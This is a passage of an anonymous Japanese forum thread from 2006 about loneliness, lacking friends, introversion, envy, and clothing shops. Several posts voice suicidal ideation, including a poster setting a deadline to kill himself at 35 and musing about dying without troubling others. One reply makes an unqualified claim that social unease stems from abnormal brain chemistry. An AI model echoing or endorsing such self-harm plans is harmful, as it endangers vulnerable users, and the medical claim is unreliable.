お節介かもだけど、問題を解決しないまま放置しても、いつかは自分に(ルカさんが親のせいというなら親は克服してないから結局ルカさんの分まで苦しいんじゃないかな)倍増して戻ってくると思う。

693 :マジレスさん:2006/03/11(土) 22:48:14 ID:V8QjK2Yg
発起して考えを変えてみるのはどうでしょう?視点を変えてみては?苦しそうだから少し気になったよ。簡単な問題じゃないけど、諦めたら終わりだよ。あとね、甘えと依存は違うんじゃないかな。甘えるのはいいんだよ。

694 :ゆりこ:2006/03/11(土) 22:51:33 ID:V8QjK2Yg
自分は自分に後ろめたくないように頑張る。辛かったり落ち込むのはいいんだよ。辛いって言ってもいい。それでもやることはやってけばいい。諦めるのはよくないって思うなあ。

695 :ゆりこ:2006/03/11(土) 23:09:37 ID:V8QjK2Yg
私は今のとこそう考えてるけど、人それぞれだし、腹たったらごめんね。でも、ルカさんの努力がいつか実を結ぶように祈ってます。。。嫌じゃなければ、またね!

696 :マジレスさん:2006/03/11(土) 23:32:30 ID:ifYwUp5Z
>伊達さん
伊達さんはジュビロを応援しているわけではないんだ
残念。
たしかに丸いの店員の接客はうざいよー
おいらも685さんとおなじでカード作った時直前で年会費言われた
都合の悪いことは言わないんよね。それにあのカードあんまり割引きかんし
つくっても意味ないよね
どっか落ち着いて、適度にオサレな服かえるとこ、メンズでだれかしってますか?
ビームス アローズは無駄に高いよ

697 :マジレスさん:2006/03/11(土) 23:53:16 ID:MjNh1Bxg
>>696
東京ならジャーナル・スタンダードあたりを薦めるけど
静岡はどうかなぁ。Labrador Retrieverなんかどうだろう。案外かわいい服多いよ。

UAは確かに高いけど、良質なものを安心して買えるって印象があるなぁ。
ビームスは…正直セールの時にしか行かない。

698 ::2006/03/12(日) 00:16:55 ID:A1rZwwnN
調子こいてAPCのデニム買っちゃったよ

699 :ともりも:2006/03/12(日) 00:32:34 ID:urAUdGIj
APCは中目黒サープラスが安くていいよ。
ジャーナルスタンダートはセールでもあんまり安くならない。
でも、最近は服買う気力も無くなった。なんかどうでもよくなった。
悠さん、かっこいいからオシャレ頑張れ!


700 :齋藤:2006/03/12(日) 16:51:52 ID:j+4YhQXj
無印良品なんて着てちゃだめだね…


701 :伊達屋酔狂.:2006/03/12(日) 17:39:12 ID:YzPCqV7o
>>700
>>普通の齋藤さん

700オメ!!

伊達屋は最近はユニクロでいいや…と思ってしまう。

昔、彼女がファッションに敏感で、その子と付き合っていた時は、
お洒落している相手に合わそうと少しは努力した。
でも、今は恋愛をする気力もないし、人付き合いも面倒でかなりリストラしたので、
正直、服装とかに関心がなくなってきてしまった。

人の魅力は内面から湧き出るものだけど、はじまりは外面からだよね。
恋愛にも前向きになれず、人付き合いもうまくいかないと、本当に何もかも、うまく行かない。
しかし、過去を清算できるだけの余裕が無い。

住んでるマンションで飛び降り自殺が起きた。


702 :マジレスさん:2006/03/12(日) 23:50:24 ID:qFiFg5Hj
じばくれい?

703 ::2006/03/13(月) 00:47:09 ID:0rp8y6zc
>>ともりもさん

俺も年のせいか最近服に興味がわかなくなったよ。中目黒行った事無いな。行ってみようかな・・

それにしても何で男の服はあんなに高いのか・・

704 :伊達屋酔狂.:2006/03/13(月) 01:42:53 ID:P9UJrR5G
>>702

伊達屋.は自縛霊のせいで寝付けなそうです。
今から塩でも巻いておこう。

伊達屋.が死んでも、葬式は家族しかこないだろう。
坂本龍一が昔、
『葬式には過去の女は全員来て欲しい』
と言っていたが贅沢な話だ。
伊達屋.にとっては、寝つけない晩の一杯の紅茶が最高の贅沢だ。




砂糖と塩を入れ間違えた…orz


705 :ルカ ◆IOAAALucaM :2006/03/13(月) 03:46:56 ID:4pARs28a
>>688ゆりこさん
久しぶりです。元気ですか? 天から見守ってくださっていたのですね(゚∀゚)
おれも快適な毎日にしたいです。自分の問題の目標はあって、手段もいくつも考えたけど、
どうにもゴールにたどりつかないでいます。

友達をつくるということなら、なんとかできなくはないのですが。
つくったらおしまい? ・・・ではないよね。

平均からズレてる? そうです。性格の中のある一部については。

あー( ゚Д゚)マンドクセー とわめきながらも、あきらめないで取り組んでみるよ、ありがとう。
あと腹立ったりはしてませんよ、ご心配なく。
ときどき遊びに来てくださいね。
おやすみなさい。

706 :齋藤(ニューハーフ):2006/03/13(月) 12:11:52 ID:EINMd8dB
>>701 伊達屋酔狂.さん

すいません>>700とったのは私です。
ニューハーフって書くの忘れてしまいました。
名前まぎらわしいわ・・・。

住んでるマンションで飛び降り自殺ですか・・・
気分悪いなぁ。

寝る前の紅茶なんて洒落てますね。
伊達屋.さんの名前のイメージが変わりました。
今までのイメージは「パワーインザーワールド」です。
(知らないですよね。)

ところで人は外見からだと私も思います。
人は顔や服じゃないんですけど・・・。
でも服装や髪型ってマナーみたいなものですし
好みがでたりしていて
服装を見だけで、その人のことがわかったりしますよね。
私はユニクロ着ている男性は好きですよ。








707 :齋藤(ニューハーフ):2006/03/13(月) 12:13:25 ID:EINMd8dB
>>699 ともりもさん
悠さんスーツでもカッコイイよ。
俺はびっくりした。

708 :マジレスさん:2006/03/13(月) 17:28:12 ID:X5nbH6Qo
APCて何?

709 :伊達屋酔狂.:2006/03/13(月) 22:22:12 ID:P9UJrR5G
>>708
ファションブランドです。
工房時代に『エーピーシー』と読んで、
周囲から失笑をかいました。

710 :マジレスさん:2006/03/14(火) 01:43:31 ID:Fbl0OB50
>>708
靴屋だよ。
猪木がCMしてるだろ。

711 :ゆりこ:2006/03/14(火) 02:31:08 ID:FKylsCJJ
ルカさん、ヒトは親切でお願いすれば結構協力してくれるものだよ。結局自分の敵は自分だなって思います。苦しいけどルカさん幸せになってね!というか、なろうね!本当に私ごときだけど、応援してる。おやすみなさい☆

712 :マジレスさん:2006/03/14(火) 02:31:45 ID:3OqWcokw
はぁ。

713 :マジレスさん:2006/03/14(火) 03:02:08 ID:PmE4KM1S
携帯にアドレスはいくつか入ってるけど俺から送らなかったら
絶対にメールしてこないような人たちばっかだからあえて送らずずっと一人で過ごしてる。
顔も醜いしキモイしなによりまだ二十歳のくせにブラマヨのツッコミ並にハゲてる。
最初は何度も悩んで食事が喉を通らないような日もあったけど完全にひらきなおった。
もちろん彼女を作ることもあきらめたし結婚なんてありえない。
何をするにも一人でまわりに気を使わない生活をおくるよ。
親に迷惑かけないよう一人暮らしもして仕事は派遣くらいで月20万弱の低収入でひっそり暮らす。
おそろしくつまらない人生だけど仕方ないよ。俺だもん

714 :マジレスさん:2006/03/14(火) 04:47:36 ID:WvVAXkiu
友達いても、一緒に買い物に行く友達いない
旅行は友達と行くけど、友達の友達と友達になれてない気がして居ずらい。
服どこで買ってるの?って聞かれると、切なくなる。
映画も趣味が合わないかもしれないし、予定があるかもしれない、
他の友達と行きたいかもしれない、とか考え出したら絶対自分から誘えない。
一人だったら映画行かない・・・最近になってやっとカラオケに行けるようになった。
誘われないと行けない。

715 :伊達屋酔狂.:2006/03/14(火) 11:20:31 ID:1d57exst
>>706
>>ニューハーフの齋藤さん

>>700はニューハーフの齋藤さんでしたか!
玉石混合、本間に様々な方がいらっしゃいますね。
伊達屋.のイメージの「パワーインザーワールド」とはどのようなものでしょうか?
伊達屋.、興味がございます。

ニューハーフの齋藤さんがおっしゃるように、服装や髪型でその人のことがよくわかります。
ユニクロですが、一般的にはダサイ格好とされております。
しかし、以前、ユニクロと古着で全身3000円以内にも関わらず、本間にうまく着こなしている方にあいました。
残念ながらその人持っているセンスは伊達屋.は持ち合わせておりません。
>>671のニューハーフの齋藤さんの話にも関係しますが、友達が多い人もやはり人を楽しませるセンスがあると思います。

感覚が鋭い人は視野も広く、服装や人間関係のみならず、本間に何もかもうまくいく事が多いみたいです。
伊達屋.もセンスのある人間になりたいですが、叶わぬ夢のようです。

716 :伊達屋酔狂.:2006/03/14(火) 12:03:28 ID:1d57exst
>>710

伊達屋.は妙案を思いつきました
工房時代の知人には、『アーペーセー』ではなく『エービーシー』マートの話で、メールの打ち間違えと話しますね。
でも、ABCマートも本間に店員の対応が悪いです。
どこか店員の対応が良い店ってあるのでしょうか?

やはり伊達屋.は自販機が一番落ち着きます。

717 :マジレスさん:2006/03/14(火) 22:53:04 ID:odshUAU7
APCて何て読むの?

718 :マジレスさん:2006/03/15(水) 08:11:58 ID:sc6ZF16X
オーペック

719 :マジレスさん:2006/03/15(水) 08:49:09 ID:MZvIa83w
アペック

720 :マジレスさん:2006/03/15(水) 10:10:36 ID:16wUYitc
友達なんて言うのは、基本的に必要ない存在。
欲しければ、そう演じればよいだけ。
相手に都合のよいようにその場面を演じれば、
相手は自分を友達と思うだろう。

相手は、自分の心をくすぐられているだけとも知らずに、
喜び勇んで、友達を連呼するだろう。

だが、相手に不愉快なエッセンスを与えると、
その関係は壊れるだろう。友達なんて言うのは
その程度のものでしかない。


721 :伊達屋酔狂.:2006/03/15(水) 11:32:28 ID:sys3TQIu
>>720

伊達屋.もあなたと同じこと考えていた。

いつも、毎日を台本通りに演じて、いやな舞台には上がらなかった。
そして、選んだ役を演じることはうまくいった。
誰も演じていることなんて気付いてないと思ってた。

でも、結局、舞台の上にいるのは架空の役者であって自分自身ではなかった。
気付いたら、虚しさだけが残った。

昔の彼女と数年ぶりに会った。
伊達屋.は多重人格でだと言われた。
みんな気付いていたんだ、伊達屋が演じていたこと。

ありのままの自分で生きていくことは苦しい。
同時に、そつなく生きることもまた苦しい。

でも、花粉症の方がもっと苦しい。

722 :マジレスさん:2006/03/15(水) 12:13:32 ID:TgJCI40E
ルカさんの>>676読んで思ったんだけど、これって自分の負の部分と和解できないってことだよね
他人と接することによって、相手と己の負の部分が自覚される。それを受け入れられない。
でも無理に受け入れることもないと思う
だって、それを嫌うのはもしかしたら正常な感覚かも知れないし

723 :齋藤(ニューハーフ):2006/03/15(水) 13:09:42 ID:MZvIa83w
>>720
伊達屋酔狂.さん
ありのままの自分ではどうして苦しいのですか。
よかったら教えて下さい。

私はありのままの自分で人と接していますが
どうしても人間不信が抜けなくて苦しいです。

「パワーインザワールド」については今度書きます。



724 ::2006/03/15(水) 19:01:14 ID:jsZRXYpY
ありのままの自分は醜悪だからとても人様に見せられないorz



725 :ルカ ◆IOAAALucaM :2006/03/16(木) 19:09:12 ID:miQyuxPn
>>711ゆりこさん
おっしゃるとおりです。
ぶざまな人間にも世話してくれる人はいつもじゃないにしろ、いますね。
協力してくれる人には恩返しをしたいと心がけてます。
ゆりこさんが応援してくれていることは忘れないでおきますよ。

>>713
> 俺から送らなかったら絶対にメールしてこない
ああ、これはおれもキニナルわ。
毎回自分からだとそのうちフェードアウトすることにしてる。。。
だって、自分から送らないなら必要ないんですね、とw

726 :ルカ ◆IOAAALucaM :2006/03/16(木) 19:10:00 ID:miQyuxPn
>>714
誘ってくれるような人を見つけたいところ・・・ですなあ。
あと、服や映画の趣味は合うほうこそ儲け物だと思うよ。
本当に尊重しあえる関係なら、自分が興味なくても相手が行きたがってたら付き合うべきだと...
毎回じゃないにしろ。
まあそこまでできるのは、趣味以外の部分でおたがい仲良いのが前提だが...
どうでもいい人とは、たとえ趣味が同じでも好きな映画が同じでも、一緒に行く気になれん、当たり前だけど。

>>720
それって虚しくないか? 何のための友達よ?
利害関係がない状況で完璧に相手の期待通りにふるまったとして、
人間関係に満足できる人なんてほとんどいない。

友達が困っているときや緊急事態のときは
なるべく相手の期待通りに要望に応えるけどさ。
普段からそれやってたら病気だよ。ホステスやホストじゃあるまいし...

釣られたかな。

727 :ルカ ◆IOAAALucaM :2006/03/16(木) 19:10:47 ID:miQyuxPn
>>722
認めてようとしてくれたのかな、ありがたい。
文章がわかりにくいのだが、「和解できない」とはちょっと違っていて、
消えていない、薄まっていない、解決されてないって意味でした。

普通の人間も持ってる部分だけど、常軌を逸したレベルに片足突っ込んでる状態なので...

当然受け入れることはできないし、嫌うのは正常な感覚です普通はw
普通は10くらいにとどめておくときに、その100倍、1000倍くらい徹底的にやってしまうんでつよ・・・

728 :マジレスさん:2006/03/17(金) 07:52:19 ID:HgsxGsRn
オレも友達いないよ。かろうじて一人かな。
それも遠くで結婚したので、会って話すってこともなくなった。

どうもごく小さなトラブルでも起こりそうになると、
自分のカラに引きこもってしまうよ。
だから人の輪からは自然に遠のいてしまう。

そのくせ自尊心だけは高めで、ゆえに妥協できないところがある。
なんとなく平凡な会話とか、欲してるくせに苦手だ。
意味なく自分を特別扱いにしてるのかもしれない。
他人に親切にするのが好きなんだけどなあ。

そんな自分の性格に迷ったオレ。ネットサーフィンして
エニアグラムという性格判断法をやってみたら、
タイプ4という性格だった。もろあたりの気がする。
ここのみんなも、結構似たタイプが多い気がする。

729 :マジレスさん:2006/03/17(金) 10:04:00 ID:gKjoIr1l
>>728
ここにいる人は内向型人間と呼ばれる人が多いと思う。
集団生活や付き合いの飲み会が苦手な人。
全人口の30パーセントぐらいを内向型人間がしめているらしい。


730 ::2006/03/17(金) 10:45:51 ID:2ZnvPTB5
30%もいるのか・・

731 :マジレスさん:2006/03/17(金) 11:32:19 ID:qJ1qumCR
人付き合いは苦手だと思いつつも
ほんとは頑張ってそういう得意にみせるテンションに
持っていってる人間を
安易にうらやましいと言ってくる自称内向的な人がいて
アホかっておもうことが多々

732 :ルカ:2006/03/17(金) 12:20:41 ID:08l8XNPf
なるべく自分を変えないでつきあえる関係が理想だな、
個人的には

もちろん相手も。

矯正しなきゃならない場は
仕事や義理のつきあいだけで充分おなかいっぱい

多数派に迎合することなんかないんじゃないの、
とくに内向性に関しては。


733 :齋藤(ニューハーフ):2006/03/17(金) 13:41:30 ID:gKjoIr1l
>>732
そうそう無理よくないよね

734 :マジレスさん:2006/03/17(金) 14:10:25 ID:GEjzyqoV
俺もう一年以上家族以外と会話してない(店員とかそういうのは除いて
もしこれから新たに友達とか出来ても、どんな風に、何を話せばいいんだか迷いそうだわ。
こんなんがもう二十歳だぜ。
自分でも笑える

735 :マジレスさん:2006/03/17(金) 23:16:02 ID:53KgrxAz
訳あって友達としばらく会えなくなる
私にとっては一番大事で楽しい友達。
あんなに気があって 楽しくて おもしろくて
最高に心地いい時間がなくなるなんて本当に苦しい
高校に戻りたい またお互い遅刻して話したいよ
これから楽しい事は誰に話したらいい?
誰と嫌な事を笑い飛ばせばせるかな
本当つらいよ 他に友達がいないから尚更
ずっと高校生がいいよ

736 :マジレスさん:2006/03/17(金) 23:22:57 ID:+HO4tAUO
>>734
そんなに深刻に考えなくても良いよ。
何かのきっかけで、話は弾んでいく時もあるさ。
しかもまだ20歳じゃん、20代なら自分自身が変わろうと思えば努力次第で
変わっていけるもんだよ。


737 :マジレスさん:2006/03/18(土) 01:00:15 ID:V+3cVEQa
友達って何?
いろいろ綺麗事並べても、結局自分の都合通りに利用するためのもんでしょ?
もう相手の為に動いても、自分が困った時何もしてもらえないとか疲れる。
別に見返りを求めて何かをする訳じゃないけど、自分が与えるばかりで得るものが極端に少ない関係って疲れる。。プライドがすごく高い訳じゃないけど、私にも自尊心はある。
使われるだけと感じる関係…、私の被害妄想?相手は無意識?それとも計算してる…?
そんなことをいちいち考えて傷ついて疲れる。

738 :マジレスさん:2006/03/18(土) 02:42:04 ID:65ZQMNBL
>>737
そんなことをいちいち考えなくていい存在のことを
「友達」というのでわ

739 :マジレスさん:2006/03/18(土) 04:04:57 ID:V+3cVEQa
>>738
そうなの?
私はその相手と仲良くなればなる程にそういう風に思えてしまう。
相手は親友だとか言ってくれて、一番気が合うとか何でも話せるとか気を許せるとか言ってくれてすごく嬉しくて私もそんな気になってた。
けど、よく考えると彼女は自分の都合のいいようにしか物事を運ばない。
結局思い通りに使えて自分のわがままが通る私が好きなのかな…
何だか疲れたし、徐々に縁を切って行こうと思案中です。
なんか当分人と深い付き合いしたくない

740 :マジレスさん:2006/03/18(土) 08:43:36 ID:ixnVtPsH
自分の都合のいいようにか‥

反省しています。すみません。

確かに私は自分が一人になりたいときはそっけない態度をとって、
寂しいときはすごくやさしく思いやりをもってかまってチャソをしていました。
本当にすみません。でも嫌われたくないです。これはわがままです。

741 :マジレスさん:2006/03/18(土) 08:48:06 ID:65ZQMNBL
>>739
それはその人がたまたまそういう性格だっただけ。
それとも何度もそんな目に遭ってるの?だったら気の毒だな。
でもそうでない人も世の中にはいるよ。

>いろいろ綺麗事並べても、結局自分の都合通りに利用するためのもんでしょ?

あなた自身がそう考えてるの?そうじゃないでしょ?
こんな考え方に汚染されちゃいかんよ。

742 :マジレスさん:2006/03/18(土) 20:06:47 ID:jfCB0D9M
来年から大学生になりますが、高校時代に親しい友人は出来ませんでした
休み時間でも、他人と話すことはほとんどなく
大抵は読書をして、時間を潰していました
移動や昼休みを一緒に過ごす人たちは、少ないながらもいたので
寂しいと感じるのは、時々だけでした
メルアド交換は数人とすれども、送ったり送られたりしたのは
正直、両手で数えられる程度だったと思います

そんな数人の中の一人と、先日買い物に行きました
学校でも沈黙が降りることは、多々あり
私自身はあまり乗り気では、なかったのですが
少ない数人の中でも、比較的親しいと思われる相手だったこともあり
断るに断れませんでした

買い物中はずっと息苦しくて、見たいお店に行ったり
商品を手にとったりということが、相手に気兼してしまい
うまくいきませんでした

その上、相手の所持金が足りなく
(足りないと分かったのはレジ前です)、私がその足りない分と
その日の食事代を払うことに、なってしまい
帰ってから、さらに苦しい気分です

お金の貸し借りはよくないのは、分かっていますが
どうしたら波乱なくその場を切り抜けることが、出来るのでしょうか

そして何よりこんな買い物程度で息苦しさを、感じるようでは
大学でもやはり友人は、作れないのかと考えてしまいます

743 :マジレスさん:2006/03/18(土) 21:28:44 ID:ujV15AXC
>>742
心療内科行ったほうがいいと思う。
不必要に落ち着かないのは脳内物質が正常に分泌されてないから。
薬で治せるものは治しというたほうがいい。

その上で性格的な問題は自分の努力でなんとかしよう。

744 :マジレスさん:2006/03/18(土) 22:58:35 ID:jfCB0D9M
>>743
そうなのですか…
不必要に、というのかある時フッと
上手くコミュニケーションが取れないんです
(どもったり、早口になったりなど)
慣れてしまえば、結構ズバズバ言えるので
重度の人見知りと言いますか

心療内科、検討してみます

745 :マジレスさん:2006/03/18(土) 23:55:01 ID:Cf0Afn4I
東京周辺でお薦めの心療内科ご存じでしょうか?

746 :マジレスさん:2006/03/18(土) 23:56:43 ID:0DuwZ17e
↓心療内科の先生のページ
http://www.ikasareteruigaku.org/shinryo/

747 :744:2006/03/19(日) 00:01:24 ID:jfCB0D9M
>>746
>>745ではありませんが、ありがとうございます
現在PCが使えない状況なので、直り次第見させていただきます

748 :マジレスさん:2006/03/19(日) 02:49:39 ID:yUNVHMu9
高1できょどりながらも告白して付き合う。高1の夏休みに彼女と海に行って海岸で花火してキスした。で、夏休みの終わりにSEX。
高2はマッタリ。
高3は受験に集中。図書館でいちゃつく。
で、現在大学1年。めでたく彼女と一緒の慶應に通う。同棲

749 :マジレスさん:2006/03/19(日) 06:54:10 ID:TZq78mtk
俺はイケメンだけど、友達いないおかげでその分勉強に集中することができた。お蔭様で東京大学理科‖類に今年前期現役合格することができました。

750 :マジレスさん:2006/03/19(日) 11:34:59 ID:+rfraERF
>>749

おめでとう。
自分は友達いなかったけど灯台も落ちたw
勉強しなかったからな。
大学デブーした灯台生を何人も知ってるから、
あなたも友達出来るように変われ!

>>748

そのあと、まさか大逆転の人生が待ってるとは俺も三年前は思わなかったよ。

こないだ二年ぶりに、日吉に行ったら、
走馬灯のように昔を思い出してしまい、気付いたら、泣いてしまった。
もう一度、18からやり直したい。
学士入学で別の大学でも行き直そうかな?
しかし、恐らくそこでも弾き出されるのだろう。
将来、ホームレスになっても公園で疎外されそうだ。
要は早く死ぬべきなのだろう。
35になったら自殺しよう。
余命、あと12年と11ヵ月。
結構長いなw

751 ::2006/03/19(日) 15:51:36 ID:UgHKJywv
皆頭良いな・・すごい。

何で俺馬鹿なんだろ・・死にたい

752 :齋藤(ニューハーフ):2006/03/19(日) 15:57:34 ID:JLoVtNU5
私は集中力が欲しいのですが…どうしたら集中力が持続するのでしょうか。
コツがあれば教えて下さい。

753 :マジレスさん:2006/03/19(日) 16:25:33 ID:+rfraERF
>>752
>>ニューハーフの齋藤さん

集中するきっかけとして、
集中したいことにまずは興味をもつことからはじめたらどうかな?
やるべきことに関心がもてないと、やっていても苦しいよ。

あとは気持ち。

自分は追い込まれないと集中できない。
今はまだ環境に恵まれて、自分を無意識に甘やかせてしまい、追い込まれないんだ。
本当に人生に追い込まれたら、何か答えが見出だせるのではないかと淡い期待を抱いている。


754 :マジレスさん:2006/03/19(日) 18:42:29 ID:S0du5wkW
皆なんで1人きらいなの?
私いつも買い物いこーカラオケいこーって誘われるけど
断るよ。
何度断っても毎回誘ってくるからうるさい。
いつも一人旅。買い物友達と一緒だとじっくり見れないじゃん。

755 :マジレスさん:2006/03/19(日) 18:49:00 ID:V7ssOhTx
友達いるけど一人、と友達いないから一人、は雲泥の差

756 :マジレスさん:2006/03/19(日) 21:01:18 ID:+rfraERF
>>754

別に一人が嫌いな訳じゃないんですよ。
自分も買い物も旅行も一人の方が落ち着きます。

しかし、もし一緒にいて疲れない人がいるなら、一緒に買い物や旅行を楽しむのも有りかなと思います。

でも、そういう人と出会えないのです。
どうすれば見つかるのでしょう?
好きな人も疲れない人も、並大抵な努力では見つかりません。
だからあと十二年、頑張って無理なら死のうかと思ってますよ!
期限を決めたら毎日が充実してきた気がします。
あとは人に迷惑をかけず死ぬ方法を考えるだけです。
でも、少しは社会貢献もしたいな!

757 :マジレスさん:2006/03/19(日) 21:06:38 ID:dngqzCgH
あたしも一人で買い物派。今日も一人で買い物行ってきたんだけど、偶然会社の子と会っちゃってムラヤリお茶に付き合わされた。お陰で買い物中断、ゆっくりできなくて最悪だったわ。

758 :マジレスさん:2006/03/19(日) 21:34:14 ID:puQJ/Cm3
低脳共 スレタイが読めないのか?


759 :マジレスさん:2006/03/20(月) 02:34:16 ID:4Wc2FF6z
昼間はなんとか折り合いをつけて空元気で生きている。
けれど、毎晩、夜になると不安に襲われる。
そして、無意識に過去を振り替える作業をはじめてしまう。
96年の三月の日常…
01年の三月の日常…
03年の三月の日常…
05年の三月の日常…
頭の中で消却されていた出来事が走馬灯のように、フラッシュバックされてくる。
そして何も進歩の無い自分がいる。
来年も、五年後も、十年後もやはり変化がないままだろうか?
友達がいないから誰にも相談できない。
このまま、明日の朝を迎えず、死んでいたい。
いつのまにか、孤独な男性板なんかができていた。



760 :齋藤(ニューハーフ):2006/03/20(月) 11:54:27 ID:bB7p+eYW
>>753
はじめまして。
集中力についてアドバイスを下さり有難う御座居ます。
まずは興味からですか・・・。
わかりました。頑張ってみます。
気持ちは大事ですね。


761 :本間:2006/03/20(月) 15:40:39 ID:WN1xYFaE
昨晩も結局、一睡も寝れなかった。頭の中から過去のカレンダーが離れなくなってしまったのだ。
過去の一日一日が鮮明に頭をよぎり、離れなくなった。でも、未来のカレンダーは結局、脳裏さえも霞めなかった。
過去という十字架に縛られ、未来が描けない自分。

携帯とPCの壁紙からカレンダーを消してみた。
余命12年と10ヶ月。眠くても一日一日を大切にしなければいけないのだ。

朝方、大学の知人YKからメールが来た。彼はこの春から最終的にはPh.Dを取るためCAへと旅立つ。
彼との出会いは四年前の大学入学時のサークルの新歓に遡る。
聡明かつ博識な彼に自分は一目惚れし、連絡を取るようになった。彼とは大学生活の初期においてかなりの比重をおいて付き合っていた。
破天荒な彼は上下関係を嫌いサークルには入らず、自分でサークルを立ち上げた。それに自分も参加し、なるべく彼と距離を近付けようとした。

彼は「失敗」という文字を知らない。
一般的に人間は失敗することで成長する。失敗を知らない人間は所詮、自分の殻に篭った人間だという。
でも、彼は違う。失敗を知らないからこそ、失敗を恐れない。それが行動力や集中力に繋がり、彼の魅力を数倍に引き立てていた。

しかし、いつからだろう?自分より何歩も先を歩いている彼を直視することが苦しくなった。
僻みと自己険悪に支配された醜い自分がいたのだ。
彼と連絡を取らなくなってもう久しい。彼からの食事の誘いは毎回、風邪・他の用事・法事・ドタキャンの四点セットの嘘の理由で断ってきた。

いつも嫉妬ばかりしている自分が嫌いだ。
失敗の経験を自分を高める努力に向けるのではなく、他人を僻むことでストレスを解消している自分を脱却したいのだ。
だからこそ、醜い自分を払拭する為にも今日は彼からの誘いを断らなかった。日にちも必ず行ける日にしてもらった。

しかし、先ほど彼から来たメールの返信を見て唖然としてしまった。
>今度はせっかくなので、この人すごく面白いから、って人を連れて来て一緒に騒がない?面白いよ。きっと!

今度は花粉症でドタキャンになりそうだ。友達がいない自分は、自分を変える事も難しいのだろうか?
思い切って、彼に伝えてみようか。友達いないって。

762 :マジレスさん:2006/03/20(月) 15:54:39 ID:WN1xYFaE
>>760
>>ニューハーフの齋藤さん

参考になってよかったです。
仕事でも何でも、やりたいことに集中できるようになれるといいですね。
好きな事なら時間を厭わず集中できます。
嫌な事を好きになるのが実は一番苦しいことですけど。

くだらない事にも無垢に夢中になれた子供時代が懐かしい。
もうあの頃には戻れないのだろうか?

あまりに眠いので、コーヒーを買ってこよう。
人間関係が苦手だからといって、近くの自販機で缶コーヒーを買うのは辞めよう。
寺山修二の言うように、ちゃんと町へ出て買ってこよう。
GODIVAのコーヒーが意外においしいんだ。


763 :753:2006/03/20(月) 15:55:42 ID:WN1xYFaE
>>760
>>ニューハーフの齋藤さん

参考になってよかったです。
仕事でも何でも、やりたいことに集中できるようになれるといいですね。
好きな事なら時間を厭わず集中できます。
嫌な事を好きになるのが実は一番苦しいことですけど。

くだらない事にも無垢に夢中になれた子供時代が懐かしい。
もうあの頃には戻れないのだろうか?

あまりに眠いので、コーヒーを買ってこよう。
人間関係が苦手だからといって、近くの自販機で缶コーヒーを買うのは辞めよう。
寺山修二の言うように、ちゃんと町へ出て買ってこよう。
GODIVAのコーヒーが意外においしいんだ。



764 :ルカ ◆IOAAALucaM :2006/03/21(火) 01:54:51 ID:1IV8GgrM
>>742
一緒に買い物をすると苦しいなら、あえて人と行動することないよ。
友達との交流は別の機会にすればいいし。

そして、支払いの段階になって所持金がないとあなたにせびるのは、
相手が失礼というもの。
悩むべきはあなたじゃなくて、一緒に行った人が配慮に欠ける人だと思うよ。

お金、返してくれたのかな・・・

わずらわしい集団行動も程度問題で、世間的基準に無理して合わせて
クタクタになるのだったら、バランスを自分なりにカスタマイズするしかないよね。

ひとまず高校卒業お(・∀・)め(・∀・)で(・∀・)と(・∀・)う!

>>756
> 一緒にいて疲れない人がいるなら、
> 一緒に買い物や旅行を楽しむのも有りかなと思います。

おれもこれに近いなあ...
おれはかなりワガママだと思うけど(;・∀・)
友達少ないくせに、誰でもいいってわけじゃない

どこかに756さんを探してる人がいるかもねo(・_・= ・_・)o

765 :マジレスさん:2006/03/21(火) 01:59:16 ID:JfXDesh5
独りだとあんた

すぐ動物園とかにいけるんだぞ!歳とってても!!

あとあめよこの中ぐにゃぐにゃあるきしてもだれも変な目でみないぞ!

766 :マジレスさん:2006/03/21(火) 02:05:01 ID:NxdjXYhu
あめよことかは一人で行きたいね。
他人がいると面倒だしうっとおしいし、いろいろなお店
行ったり来たりしながら見て回る楽しみが味わえない。

767 :ルカ ◆IOAAALucaM :2006/03/21(火) 02:42:14 ID:1IV8GgrM
>>761
だれだって自分が一番で賞賛されれば悪い気はしないし、
二番手以下につくのが受け入れられないなら気分悪い。
嫉妬の感情を抱くのも正常だよな。

事情を知らずにただの憶測を書けば、
本間さんは、昔から周囲に自分より抜きん出ていた人があまりおらず、
一番手に付くことが多かったのだろうか。
外側から見ると、もつ必要なんかないのにな〜と思うくらいの位置にいる(ように見える)のに、
自分に厳しくて目標が高かったり、つねに一番でなきゃいけないって義務を課している人は、
コンプレックス(という日本語は誤用なんだっけ、inferiority complexの意ねもちろん)
をもっていることがままあるなあ。
そういう状況なんだろうか、と勝手に想像しました。

嫉妬する対象と同じ評価軸を自分ももち続ければ、永遠に苦しむ罠・・・
おれが嫉妬にまみれたときは、ものすごい炎で自分も丸焦げになり、手に負えない。

768 :ルカ ◆IOAAALucaM :2006/03/21(火) 02:44:33 ID:1IV8GgrM
「もし君が孤独な人間で、住まいの中に誰かが居て帰りを待って欲しく、
その者と心の通う接触をしたいと望むのなら、○○を○○○○○。」

by Konrad Lorentz

○の中には何が入るでしょう。おやすみなさい( ´O)η ファ〜

769 :マジレスさん:2006/03/21(火) 02:46:05 ID:tnFei92B
「もし君が孤独な人間で、住まいの中に誰かが居て帰りを待って欲しく、
その者と心の通う接触をしたいと望むのなら、かねをかしてくれ。」

770 :マジレスさん:2006/03/21(火) 03:08:26 ID:tSAQjVU6
>769
俺に貸してくれ

771 :マジレスさん:2006/03/21(火) 07:58:33 ID:oEbAcX7k
「もし君が孤独な人間で、住まいの中に誰かが居て帰りを待って欲しく、
その者と心の通う接触をしたいと望むのなら、自分を捨てなさい。」

あー、ローレンツ博士だから、「動物を飼いなさい」かな。

772 :マジレスさん:2006/03/21(火) 08:57:43 ID:NxdjXYhu
>>768
「アレ を 見せなさい。」

773 :齋藤(ニューハーフ):2006/03/21(火) 10:20:51 ID:vVuVSvFD
>>768 ルカさん
「家庭 を 持ちなさい。」

ニューハーフだけど家庭が欲しくなってきました。
独りの時間が減っても、人と一緒に食事したり、お弁当作ったりするのは楽しいものなんだと初めて知りました。
友達も家族もお金じゃ買えない。
買えないからこそ欲しくなる。

774 :伊達屋酔狂.:2006/03/21(火) 19:06:45 ID:GPM8d5hn
伊達屋は、いつも、その場限りの付き合いで、
今まで、5年10年20年の長期の人間関係を経験したことがないです。

だから、恋愛をして家族を持てても、
友達がいない人間には、それを維持できることは出来ない気が伊達屋にはします。
長い間に渡って付き合いを続けていく術を身につけたいです。
そんなことを考えながらポーション飲んでみました。


775 : 本  間  :2006/03/22(水) 01:24:26 ID:R1L6hVzp
>>767
>>ルカさん
レスありがとう。
>周囲に自分より抜きん出ていた人があまりおらず、一番手に付くことが多かったのだろうか。
ルカさんの書き込みを読んで昔の事を考えさせられたのだが、人生で一度だけ、人気者だった時期があった。
